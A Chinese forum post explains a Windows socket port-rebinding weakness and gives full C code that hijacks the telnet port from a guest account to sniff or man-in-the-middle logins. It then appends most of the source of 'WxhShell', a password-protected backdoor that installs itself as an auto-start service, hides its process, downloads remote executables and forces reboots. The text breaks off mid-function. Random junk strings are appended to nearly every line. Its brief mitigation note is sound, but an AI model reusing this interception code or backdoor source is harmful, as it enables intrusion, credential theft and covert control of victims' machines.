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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /HRFAqep  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @A ^;jk  
pOG1jI5<{8  
  saddr.sin_family = AF_INET; 2'MZ s]??w  
m#Z# .j_2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Is?La  
9ahWIO %  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j+v=Ul|l  
[!]2 djc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L"*/:$EJL.  
O~K>4 ax  
  这意味着什么?意味着可以进行如下的攻击: gi _5?$  
` 3K)GA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O2dW6bt  
)*x6 FfTUd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u-G+ j)  
Jd^,]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GKc`xIQ  
Qtv&ijFC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i5?q,_  
h Pa_VrH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I- >Ss},U  
qfRH5)k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ! lc[  
+<3X J7D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j@uOOhy  
(7=!+'T"  
  #include RxWVe-Dg  
  #include K':;%~I  
  #include dNL(G%Qj+"  
  #include    en*GM}<V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Opc ZU{4 b  
  int main() 0eu$ W  
  { wLJ:\_Jaf  
  WORD wVersionRequested; HqD^B[ jS  
  DWORD ret; Pax|x15  
  WSADATA wsaData; ^)*-Bo)I  
  BOOL val;  ^J)mH[  
  SOCKADDR_IN saddr; !"/n/jz  
  SOCKADDR_IN scaddr; T\j{Bi5 \J  
  int err; 8jo p_PG'  
  SOCKET s; 90*5 5\>{  
  SOCKET sc; `gf0l /d  
  int caddsize; D}8[bWF  
  HANDLE mt; ?FF4zI~  
  DWORD tid;   kw %};;  
  wVersionRequested = MAKEWORD( 2, 2 ); "PTZ%7YH}  
  err = WSAStartup( wVersionRequested, &wsaData ); (~wqa 3  
  if ( err != 0 ) { X1-'COQS%&  
  printf("error!WSAStartup failed!\n"); qPy1;maXP  
  return -1; kN4{13Qs*  
  } 64G[|" j D  
  saddr.sin_family = AF_INET; .ndCfdy~  
   ?3zc=J"t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aYS!xh206  
2:7zG "$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n+q!l&&  
  saddr.sin_port = htons(23); "x*e gI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PV\+P6aIb  
  { ^^as'Dk  
  printf("error!socket failed!\n"); oO|KEY(  
  return -1; 0C irfcs}Z  
  } %r}{hq4  
  val = TRUE; bITPQ7+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KZ ;k)O.Ov  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yiC^aY=-  
  { +&( Mgbna  
  printf("error!setsockopt failed!\n"); qr4pR-Gdr  
  return -1; ^!ZC?h!rG  
  } YS@ypzc/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >TnTnFWX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3|4|*6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `e|0g"oP  
<vh/4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fS[,vPl  
  { kG@@ot" n  
  ret=GetLastError(); *|>d  
  printf("error!bind failed!\n"); vV6I0  
  return -1; jW3!6*93  
  } P.;aMRMR  
  listen(s,2); u:gN?O/G  
  while(1)  6S*e xw  
  { ^O<&f D  
  caddsize = sizeof(scaddr); J|kR5'?x  
  //接受连接请求 J^}V|#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +)<wDDC_  
  if(sc!=INVALID_SOCKET) Ix!Iw[CNd  
  { L>W'LNXCv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D=m9fFz  
  if(mt==NULL) [nc4{0aT'  
  { >eqxV|]i  
  printf("Thread Creat Failed!\n"); o` ZQd,3  
  break; Avd ^  
  } UU mTOJr  
  } 2w_WAdi  
  CloseHandle(mt); Ax?y  
  } O%(fx!c`  
  closesocket(s); _w/EP  
  WSACleanup(); D!NQ~'.a=2  
  return 0; mdmvT~`  
  }   I^UC&5dC  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^~@U]  
  { l(u.I2^o  
  SOCKET ss = (SOCKET)lpParam; *`\Pr  
  SOCKET sc; v~V5`%  
  unsigned char buf[4096]; Vq5k+3W+  
  SOCKADDR_IN saddr; CBOi`bEf  
  long num; L,`Lggq-  
  DWORD val; y?m/*hh`  
  DWORD ret; G_{&sa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ];a=Pn-:}G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l@H  
  saddr.sin_family = AF_INET; 0Lc9M-Lg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Lz!,kwg  
  saddr.sin_port = htons(23); !?p%xj?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6c"0})p  
  { !2A:"2Kys:  
  printf("error!socket failed!\n"); +!z{5:  
  return -1; RIXMJ7e7  
  } *:t|qgJI#+  
  val = 100; XKttZOiGT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OjF_ %5  
  { QP)pgAc  
  ret = GetLastError(); %Nhx;{  
  return -1; 8lb%eb]U  
  } SAK!z!t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AW_(T\P:u  
  { v<OJ69J  
  ret = GetLastError(); ,M6 Sy]Aj  
  return -1; YW`,v6  
  } (TwnkXrR,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) , GY h9  
  { Vf'd*-_!Q<  
  printf("error!socket connect failed!\n"); Jd(,/q  
  closesocket(sc); | 8=nL$u  
  closesocket(ss); j!4et;  
  return -1; a1.Ptf eW|  
  } _$f9]bab  
  while(1) \ 3?LqJ  
  { U,gti,IX^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]dk8lZ;bo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YZ7|K<   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8` @G;o  
  num = recv(ss,buf,4096,0); zG9Y!SY\-  
  if(num>0) !n$tr  
  send(sc,buf,num,0); !+4cqO  
  else if(num==0) H nUYqhZS  
  break; Eu-RNrYh#  
  num = recv(sc,buf,4096,0); Xn,v]$M!  
  if(num>0) \X&H;xnC5  
  send(ss,buf,num,0); 6290ZNvr  
  else if(num==0) 7#U^Dx\yh  
  break; mG`e3X6@-  
  } T[4<R 5}  
  closesocket(ss); )h|gwERj  
  closesocket(sc);  eDJ fU  
  return 0 ; ~aOuG5 XK  
  } ;M#_6Hd?qD  
O:"*q&;J  
=gvBz| +  
========================================================== r8&^>4  
IWveW8qJ  
下边附上一个代码,,WXhSHELL E3l> 3  
psC mbN   
========================================================== !]fQ+*X0g  
`|#Qx3n%  
#include "stdafx.h" RE=+ Dz{  
S.Ma$KL~'^  
#include <stdio.h> 0i|oYaC  
#include <string.h> rBTeb0i?  
#include <windows.h> \nB8WSvk2W  
#include <winsock2.h> 4jBC9b}O  
#include <winsvc.h> (_*5oj -  
#include <urlmon.h> X*Dj[TD]  
W4U@%b do  
#pragma comment (lib, "Ws2_32.lib") lGk{LO)  
#pragma comment (lib, "urlmon.lib") pY~,(s|Qb  
n;p:=\uN  
#define MAX_USER   100 // 最大客户端连接数 T<@cd|`  
#define BUF_SOCK   200 // sock buffer Fxqp-}:  
#define KEY_BUFF   255 // 输入 buffer n?ctLbg  
~$f;U  
#define REBOOT     0   // 重启 E55t*^`  
#define SHUTDOWN   1   // 关机 UH>F|3"d  
a/U2xq{x  
#define DEF_PORT   5000 // 监听端口 PN<C=gAe  
G4;3cT3'  
#define REG_LEN     16   // 注册表键长度 aKlUX  
#define SVC_LEN     80   // NT服务名长度 Cb@3M"1:  
1q3( @D5~+  
// 从dll定义API R:AA,^Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *"98L+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >,gvb5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =rQP[ICs!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k({\/t3i  
[NIlbjYH  
// wxhshell配置信息 ELjK0pE}-  
struct WSCFG { #D9e$E(J^  
  int ws_port;         // 监听端口 ,7)C"  
  char ws_passstr[REG_LEN]; // 口令 RQB]/D\BO  
  int ws_autoins;       // 安装标记, 1=yes 0=no #nO|A\N  
  char ws_regname[REG_LEN]; // 注册表键名 j.ldaLdG  
  char ws_svcname[REG_LEN]; // 服务名 7Irau_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >'5_Y]h4m|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |*X*n*oI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K+)%KP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zYv#:>C8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |U k" {  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :@xm-.D  
{d%&zvJnD  
}; 9W>Y#V~|v!  
-l-E_6|/W  
// default Wxhshell configuration G"59cv8z4R  
struct WSCFG wscfg={DEF_PORT, KkMay  
    "xuhuanlingzhe", CBKkBuKuk  
    1, C"qU-&*v  
    "Wxhshell", H:JLAK  
    "Wxhshell", W85@v2b  
            "WxhShell Service", fiI $T:g.  
    "Wrsky Windows CmdShell Service", w[-Fm+A>  
    "Please Input Your Password: ", e{9jn>\,a  
  1, j! NO|&k  
  "http://www.wrsky.com/wxhshell.exe", @[?!s%*2  
  "Wxhshell.exe" nGf);U#K  
    }; &Q=ZwC7#  
omf  Rs  
// 消息定义模块 cZ+7.oDu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L~/qGDXC?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qxMnp}O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !epgTN  
char *msg_ws_ext="\n\rExit."; HXVBb%pP  
char *msg_ws_end="\n\rQuit."; CG&`16KN7  
char *msg_ws_boot="\n\rReboot..."; Koln9'tB  
char *msg_ws_poff="\n\rShutdown..."; M4LktR-[  
char *msg_ws_down="\n\rSave to "; .LRxP#B  
3PUAH  
char *msg_ws_err="\n\rErr!"; E%TpJl'U  
char *msg_ws_ok="\n\rOK!"; m&oi8 P-6  
x/MZ(A%D  
char ExeFile[MAX_PATH]; ^D_/=4rz8  
int nUser = 0; 6V+ qnUk  
HANDLE handles[MAX_USER]; ]43bere  
int OsIsNt; (5Tvsw`  
}^K/?dM  
SERVICE_STATUS       serviceStatus; l  n }}5Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "%QD{z_L  
m:O(+Fl  
// 函数声明 wj|x:YZ*  
int Install(void); >7U>Yh  
int Uninstall(void); j#6|V]l  
int DownloadFile(char *sURL, SOCKET wsh); &MgeYpd  
int Boot(int flag); \hP=-J[~C  
void HideProc(void); jN+N(pIi.o  
int GetOsVer(void); Zx?b<"k  
int Wxhshell(SOCKET wsl); 6ZqgY1  
void TalkWithClient(void *cs); 0gF!!m  
int CmdShell(SOCKET sock); W;Jx<-#1  
int StartFromService(void); `wTlyS3[  
int StartWxhshell(LPSTR lpCmdLine); w[Ep*-yeI  
npu6E;'l*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V5GkP1L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }98>5%Uv  
agOk*wH5  
// 数据结构和表定义 D 0]a\,aZ  
SERVICE_TABLE_ENTRY DispatchTable[] = g#K'6VK{  
{ y466A]|  
{wscfg.ws_svcname, NTServiceMain}, iY/KSX^~O  
{NULL, NULL} ` e{BId  
}; B7-RU<n  
9f}XRz  
// 自我安装 dj[apuiF  
int Install(void) 4*UP. r@  
{ :PnSQjV:  
  char svExeFile[MAX_PATH]; N\1/JW+  
  HKEY key; I]J*BD#n.  
  strcpy(svExeFile,ExeFile); /=#~  
;+I4&VieK  
// 如果是win9x系统,修改注册表设为自启动 TQ1WVq }*  
if(!OsIsNt) { C;\VO)]t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y5!b)vke  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cf[vf!vi  
  RegCloseKey(key); |AH@ EI>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3@O0^v-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gS"Q=ZK"  
  RegCloseKey(key); r7!J&8;{K  
  return 0; JK~ m(oQ  
    } )3muPMaY  
  } $ A-b vL  
} Gwd{#7FM`  
else { HrqF![_  
c! H 9yk  
// 如果是NT以上系统,安装为系统服务 r.FLGD U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~k4W<   
if (schSCManager!=0) /k7wwZiY@  
{ 5y_"  
  SC_HANDLE schService = CreateService VKLU0*2R  
  ( ~j,TVY  
  schSCManager, ]?9[l76O7  
  wscfg.ws_svcname, Wc#:f 8dr  
  wscfg.ws_svcdisp, >e8JK*Blz  
  SERVICE_ALL_ACCESS, [7"}=9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zy wK/D  
  SERVICE_AUTO_START, IB7tAG8  
  SERVICE_ERROR_NORMAL, T2Z[AvNXFk  
  svExeFile, <e6=% 9  
  NULL, {=At#*=A  
  NULL, G79C {|c\  
  NULL, liNON  
  NULL, Q.(51]'  
  NULL 1BD6 l2y  
  ); + >sci  
  if (schService!=0) VvgN3e[  
  { $M]%vG  
  CloseServiceHandle(schService); A"/aGCG0z  
  CloseServiceHandle(schSCManager); \kwe51MQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +|nsu4t,<  
  strcat(svExeFile,wscfg.ws_svcname); +X!+'>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {>.>7{7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S+*cbA{J|  
  RegCloseKey(key); ;x>;jS.t  
  return 0; T=? bdIl  
    } .{N\<01  
  } )Ul&1UYA  
  CloseServiceHandle(schSCManager); uaQ&&5%%J  
} ,eELRzjl  
} uU+s!C9r  
\!X?zR_  
return 1; j3 P RAe  
} AZ8UXq  
wd`R4CKhP]  
// 自我卸载 %^^h) Wy}  
int Uninstall(void) qU6BA \ZL  
{ 1XnBK$`  
  HKEY key; nJ# XVlHc  
k`IrZHMw  
if(!OsIsNt) { G(i\'#5+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l Z~+u  
  RegDeleteValue(key,wscfg.ws_regname); aVK()1v]  
  RegCloseKey(key); [>uwk``_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5~yb ~0  
  RegDeleteValue(key,wscfg.ws_regname); Fi{mr*}  
  RegCloseKey(key); ]]V^:"ne  
  return 0; .xv ^G?GG  
  } Z)v)\l9d  
} z`9l<Q/  
} {dZ8;Fy4  
else { 9XN~Ln@}  
aT/KT,!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ,(hY%M&\  
if (schSCManager!=0) Gt.*_E  
{ |7S:l9;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F9D"kG;Dk  
  if (schService!=0) `]yKM0 Z  
  { qi[(*bFK7  
  if(DeleteService(schService)!=0) { `hF;$  
  CloseServiceHandle(schService); g Np-f  
  CloseServiceHandle(schSCManager); l_sg)Vr/b  
  return 0; v=bv@c  
  } ZmO' IT=Ye  
  CloseServiceHandle(schService); Hrv),Ce  
  } wL|7mMM,  
  CloseServiceHandle(schSCManager); hd=j56P5P  
} I! ITM<Z$l  
} &.*T\3UO  
<\xQ7|e  
return 1; @{de$ ODu  
} lvig>0:M  
]*h&hsS 0  
// 从指定url下载文件 |x[$3R1@  
int DownloadFile(char *sURL, SOCKET wsh) r2)pAiTM*  
{ Pb=rFas*C  
  HRESULT hr; [b pwg&Oo  
char seps[]= "/"; pgfu+K7?w  
char *token; "] 9_Fv  
char *file; &*c'uN w  
char myURL[MAX_PATH]; Bzm. X=U:  
char myFILE[MAX_PATH]; 8I {56$  
H!^C2  
strcpy(myURL,sURL); u> In(7\  
  token=strtok(myURL,seps); [EcV\.  
  while(token!=NULL) 4}PeP^pj  
  { K+t];(  
    file=token; 0 wYiu  
  token=strtok(NULL,seps); :EaiM J_=  
  } nR#a)et  
nvwDx*[qN  
GetCurrentDirectory(MAX_PATH,myFILE); J4&XPr9  
strcat(myFILE, "\\"); \Qb>:  
strcat(myFILE, file); \ 6jF{  
  send(wsh,myFILE,strlen(myFILE),0); t-a`.y  
send(wsh,"...",3,0); Dl@{}9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %L.rcbg:<c  
  if(hr==S_OK) zZw@c?  
return 0; D)RdOldr  
else >R) F}  
return 1; f@#w{W,3  
l+'`BBh*]  
} JiUT\y  
dnLo(<{<U  
// 系统电源模块 >pJ6{Ip  
int Boot(int flag) \Z8Y(]6*  
{ (O<abB(  
  HANDLE hToken; 1pl2;!  
  TOKEN_PRIVILEGES tkp; Ld'EABM  
F F(^:N  
  if(OsIsNt) { QDl)92z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %j!z\pa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cKSfqqPm$"  
    tkp.PrivilegeCount = 1; L_`Xbky  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5!2J;.&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |' !7F9GP  
if(flag==REBOOT) { " -<}C%C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tzP@3+.w  
  return 0; </2,2AV4q*  
} 1XC*|  
else { Zt7hzW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YGi/]^Nba  
  return 0; 23,%=U  
} 1@s^$fvW  
  } y`T--v3mI  
  else { Y|Nfwqz  
if(flag==REBOOT) { X~`.}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,5`."-0}  
  return 0; z1)$  
} s n=zh1 A  
else { MJpP!a^Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ye56-T  
  return 0; Kn3YI9  
} $&c<T4$d  
} R'jUS7]Y  
o$^O<zL  
return 1; KLj4 LOs  
} 0:PH[\Z  
:$+D 2*(  
// win9x进程隐藏模块 :H~UyrN  
void HideProc(void) 5n-9#J$  
{ R*zBnHAb!  
@|jKO5Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cS. 7\0$  
  if ( hKernel != NULL ) JsHxQ0Tw  
  { %D`^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ktkn2Twa/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \fkS_r,i  
    FreeLibrary(hKernel); :9v*,*@x  
  } )ylv(qgV  
3W%f#d$`  
return; 00$ @0  
} vCYSm  0  
qBf wN1  
// 获取操作系统版本 $ l0eI  
int GetOsVer(void) 58a)&s[+  
{ Vq?8u/  
  OSVERSIONINFO winfo; H'j_<R N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 401/33yBJ  
  GetVersionEx(&winfo); 60.[t9pk6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y#Sd2h,^X  
  return 1; .rD#1)O  
  else |*/uN~[  
  return 0; w%%6[<3%  
} QE`:jxyad  
~ 4p]E'b  
// 客户端句柄模块 $cp16  
int Wxhshell(SOCKET wsl) UeutFNp  
{ e3oYy#QNk  
  SOCKET wsh; G!> iqG  
  struct sockaddr_in client; `[g# Mxw  
  DWORD myID; >llwNT  
&Sa_%:*D(  
  while(nUser<MAX_USER) \.XT:B_  
{ tk] _QX %  
  int nSize=sizeof(client); Lqz}&A   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qcpG}o+&D  
  if(wsh==INVALID_SOCKET) return 1; }R?v"6aBS  
lN*1zM<6;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J,(U<%n  
if(handles[nUser]==0) |e.3FjTH  
  closesocket(wsh); GA%"w=M\  
else !=k*hl0h  
  nUser++; 6_ 33*/>=c  
  } BIHHRCe:@n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \]~kyy  
ePPp)=  
  return 0; 2\$WP-)%  
} P^uP$D  
LRqw\fKk[  
// 关闭 socket -=v/p*v0o  
void CloseIt(SOCKET wsh) g9 grfN  
{ "'&>g4F`o  
closesocket(wsh); )\:lYI}Wpm  
nUser--; wj";hAw  
ExitThread(0); y~#R:&d"  
} 7#~m:K@  
(<g;-pZH%  
// 客户端请求句柄 Np5/lPb1  
void TalkWithClient(void *cs) =%#$HQ=  
{ /4f 5s#hR  
pRDON)$  
  SOCKET wsh=(SOCKET)cs; leX7(Y;!a7  
  char pwd[SVC_LEN]; GakmROZ@9  
  char cmd[KEY_BUFF]; It!.*wp  
char chr[1]; =km-` }I,  
int i,j; <(6-9(zHa  
qKI4p3&E  
  while (nUser < MAX_USER) { Fc{6*wtO  
[/#k$-  
if(wscfg.ws_passstr) { {TcbCjyw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $.x?in|_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PL$(/Z  
  //ZeroMemory(pwd,KEY_BUFF); !m/Dd0  
      i=0; v2W"+QS}u  
  while(i<SVC_LEN) { Ej{eq^n  
LYxlo<f  
  // 设置超时 $'I$n  
  fd_set FdRead; 41f m}  
  struct timeval TimeOut; (VF4FC  
  FD_ZERO(&FdRead); V~gUMu4ot  
  FD_SET(wsh,&FdRead); ZF11v(n  
  TimeOut.tv_sec=8; #k|g9`  
  TimeOut.tv_usec=0; }IalgQ(i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \Im \*A   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fv 1!^CDia  
+oKpA\mz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VEdnP+D  
  pwd=chr[0]; ovBd%wJ 0  
  if(chr[0]==0xd || chr[0]==0xa) { Nf?, _Rl  
  pwd=0; VdN+~+A:  
  break; T\b";+!W  
  } si"mM>e  
  i++; 4'4s EjyA  
    } b6E8ase:F  
d8y =.  
  // 如果是非法用户,关闭 socket 3<.j`JB@&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i+ &lMgh  
} RWm Q]  
@gVyLefS6g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7`'fUhB!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]mLTF',5  
ePcI^}{  
while(1) { H* JC`:  
X7B)jH%N  
  ZeroMemory(cmd,KEY_BUFF);  pmpn^ZR  
s R0e&Y  
      // 自动支持客户端 telnet标准   qKb- aP-  
  j=0; !kk %;XSZ  
  while(j<KEY_BUFF) { gm%bxr@X~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); />j+7ts  
  cmd[j]=chr[0]; BNKo6:wy  
  if(chr[0]==0xa || chr[0]==0xd) { fKK-c9F   
  cmd[j]=0; Xe^=(| M  
  break; " ih>T^|  
  } 5Z>pa`_$2  
  j++; Qd)cFL "v  
    } +\(ay"+ d  
s)'_{ A"h  
  // 下载文件 `] dx%  
  if(strstr(cmd,"http://")) { {p_vR/ yN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #o |&MV_j  
  if(DownloadFile(cmd,wsh)) r1H['{$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $}"Wta  
  else y2ws*IZ"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )k%drdY{J'  
  } z%gtV'  
  else { hm} :Me$[)  
v>cE59('0  
    switch(cmd[0]) { X]^E:'E!  
  ,8-_=*  
  // 帮助 {O,M}0Eg  
  case '?': {  F3r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lp%.n= '\  
    break; :g:h 0'G  
  } Pge}xKT  
  // 安装 YM/3VD  
  case 'i': {  rOf  
    if(Install()) $Aoqtz d\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rZCAj  
    else `g:^KCGMM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tVh4v#@+  
    break; dcTM02kEh  
    } Am`A[rV0  
  // 卸载 o0+BQ&A)s*  
  case 'r': { oX~$'/2v  
    if(Uninstall()) %-p{?=:K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b0x0CMf  
    else ^9f`3~!#bc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =4\~M"[p  
    break; w\;9&;;  
    } *SG2k .$  
  // 显示 wxhshell 所在路径 ?g#t3j>zoF  
  case 'p': { bFxJ|  
    char svExeFile[MAX_PATH]; ex!w Y  
    strcpy(svExeFile,"\n\r"); Gy7x?  
      strcat(svExeFile,ExeFile); Vwg|?sG_  
        send(wsh,svExeFile,strlen(svExeFile),0); Lj* =*V  
    break; !!X9mI|2|  
    } 6f9<&dCK  
  // 重启 Y52xrIvl\  
  case 'b': { @X><lz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EKJ4_kkjM  
    if(Boot(REBOOT)) E/-Kd!|"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MxA'T(Ay  
    else { W ]MJ!4  
    closesocket(wsh); qvT+d l3#[  
    ExitThread(0); }Fe{s;  
    } 9nAK6$/  
    break; QN8Hz/}\  
    } 5va&N<U  
  // 关机 gJ~*rWBK:  
  case 'd': { U$J_:~  
